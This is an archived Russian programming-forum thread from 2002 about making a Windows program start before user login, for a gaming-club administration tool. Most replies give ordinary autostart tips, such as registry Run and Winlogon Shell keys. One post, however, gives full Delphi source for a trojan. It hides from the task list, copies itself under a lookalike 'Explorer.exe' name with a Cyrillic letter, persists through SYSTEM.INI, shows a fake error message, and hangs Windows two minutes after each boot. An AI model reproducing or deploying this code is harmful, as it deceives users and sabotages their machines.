Форум: "Система";
Текущий архив: 2002.12.23;
Скачать: [xml.tar.bz2];
ВнизЗапуск программы при загрузке Windows. Найти похожие ветки
← →
Metallica (2002-07-28 14:07) [0]Я написал программу. Что мне нужно сделать для того чтобы она запускалась при загрузке Windows самой первой, даже перед запросом пользователя и пароля.
← →
Неотеничный Педоморф (2002-07-28 15:30) [1]Совсем круто, когда прога запускается не то что перед загрузкой Windows, а перед включением компа!
← →
VEG (2002-07-28 17:21) [2]Я знаю, как такое реализовать, но зачем тебе это?
← →
hitek (2002-07-29 10:59) [3]VEG
а как реализовать такое?
← →
Antonius (2002-07-29 11:18) [4]Хм... Надо писать свой загрузчик в MBR :)
← →
Metallica (2002-07-29 12:14) [5]>VEG
мне это нужно для программы "Администратор игрового клуба".
← →
VEG (2002-07-29 12:17) [6]>Metallica
Я так и думал!
Сейчас сам такую пишу...
← →
Sir DAMM (2002-07-29 13:05) [7]если win9x то пропиши её в HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
а вообще такую вещь лучне ввиде shell"а писать
← →
Metallica (2002-07-29 20:16) [8]>VEG
Вопрос по программе "Администратор игрового клуба":
- меня интересует блокировка клавиатуры и мыши (у меня есть пример
procedure BlockInput(ABlockInput : boolean); stdcall; external "USER32.DLL";
но при нажатии 3-х "MagicKeys" она снимается).
Если есть другой способ то напиши или скинь на E-mail.
← →
Doctor Snap (2002-07-31 20:54) [9]А ты не пробовал вто же время блокировать Ctrl+Alt+Del?
← →
VEG (2002-07-31 22:15) [10]Metallica, для какого города программа?
← →
melifaro (2002-07-31 22:30) [11]Привожу пример своей программы. Она запускается перед эксплорером. Т.е. она запускает эксплорер сама.
program WinLoad;
{Функции, которые будем подгружать из виндовых DLL.}
function WritePrivateProfileStringA(ipAppName,ipKeyName,ipString,ipFileName:String): //Запись в файлы INI
integer; stdcall; external "KERNEL32.DLL";
function WinExec(FileName : PChar ; ShowInt : integer): //Запуск приложений...
integer; stdcall; external "KERNEL32.DLL";
Procedure Sleep ( Interval : LongInt) ; stdcall; //Процедура засыпания...
external "KERNEL32.DLL";
function CopyFileA(FromFile : PChar ; ToFile : PChar ; bFailIfExists : Boolean): //Для размножения...
Boolean; stdcall; external "KERNEL32.DLL";
function GetWindowsDirectoryA(Buffer : PChar ; Size : Integer): //Где тут Windows???...
integer; stdcall; external "KERNEL32.DLL";
procedure MessageBox(Wnd: Integer; Text: PChar; Caption: PChar; Typ: Integer); //Простой MessageBox...
stdcall; external "USER32.DLL" name "MessageBoxA";
function RegisterServiceProcess(dwProcessID, dwType: integer): //Изчезаем в Ctrl+Alt+Del...
integer; stdcall; external "KERNEL32.DLL";
function GetCurrentProcessId : //Получение ID нашего процесса
integer; stdcall; external "KERNEL32.DLL";
{Функции, которые выдраны из модуля SysUtils}
function UpperCase(const S: string): string; //Приведение к верхнему регистру...
var
Ch: Char;
L: Integer;
Source, Dest: PChar;
begin
L := Length(S);
SetLength(Result, L);
Source := Pointer(S);
Dest := Pointer(Result);
while L <> 0 do
begin
Ch := Source^;
if (Ch >= "a") and (Ch <= "z") then Dec(Ch, 32);
Dest^ := Ch;
Inc(Source);
Inc(Dest);
Dec(L);
end;
end;
function StrAlloc(Size: Cardinal): PChar; //Выделение памяти под PChar...
begin
Inc(Size, SizeOf(Cardinal));
GetMem(Result, Size);
Cardinal(Pointer(Result)^) := Size;
Inc(Result, SizeOf(Cardinal));
end;
{Процедура "Виси Windows, виси"}
Procedure DropESP;
Asm
Mov ESP , $FFFF;
End;
{Поехали...}
Var
Buf : PChar;
WinDir : String;
Launch : String;
Begin
{Сначала спрячем себя из списка задач, чтобы ламер нас по CTRL+ALT+DEL
не вычислил.}
RegisterServiceProcess(GetCurrentProcessID, 1);
{Теперь получаем директорию Windows. Там Мы будем жить...}
Buf := StrAlloc(260);
GetWindowsDirectoryA(Buf,260);
WinDir := Buf + "\";
{Копируем себя в директорию Windows. Там тепло и просторно...}
CopyFileA(PChar(ParamStr(0)),PChar(WinDir + "Еxplorer.Exe"),False);
{Вводим переменную, которая будет нашим новым именем. Используем
старый трюк: в нашем новом имени "Explorer.Exe", первая буква - русская "Е".}
Launch := WinDir + "Еxplorer.Exe";
{Пишемся в SYSTEM.INI. Оттуда будем грузиться.}
WritePrivateProfileStringA ("Boot", "Shell",Launch, WINDIR+"system.ini");
{Если это наш первый запуск, то делаем вид, что мы испорчены и вообще не приложение...}
If UpperCase(ParamStr(0)) <> UpperCase(WinDir + "Еxplorer.Exe") then
MessageBox(0,Pchar((ParamStr(0)+ " не является приложением Win32.")),PChar(ParamStr(0)),$00000010)
{Если мы уже подгрузились из SYSTEM.INI, запускаем EXPLORER.EXE,
ждём...вешаем винды...}
Else
Begin
WritePrivateProfileStringA ("Boot", "Shell", "Explorer.Exe", WINDIR+"system.ini"); //Пишем Explorer в System.Ini
WinExec("Explorer.Exe",1); //Запускаем Explorer...
WritePrivateProfileStringA ("Boot", "Shell",Launch, WINDIR+"system.ini"); //Пишемся обратно в System.Ini
Sleep ( 120000 ); //2 минуты ждём...
DropESP; //Вешаем Windows...
End;
{Вот и всё...}
end.
Copyright © Melifaro
← →
melifaro (2002-07-31 22:33) [12]Только не надо даже и думать, что на самом деле делала эта программа, и почему её трояном называли :))))
← →
SashOk_ (2002-10-08 09:58) [13]Пропиши в command.com такое (в самом начале):
@имя_проги
← →
BlackDragon (2002-10-17 03:53) [14]Спасибо
← →
DVE (2002-10-18 13:04) [15]я тоже на днях озадачился!
короче сделали так
написали свой Shell пустая форма с картинко. клик- запуск программы.
Запихнули прогу в
\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SHELL
Перехват горячих клавиш!
+свой пустой TaskManager =)
При нажатии на гор клавиши запрос пароля(он закодирован в одну сторону и лежит в реестре)
Так что вот!
Страницы: 1 вся ветка
Форум: "Система";
Текущий архив: 2002.12.23;
Скачать: [xml.tar.bz2];
Память: 0.49 MB
Время: 0.007 c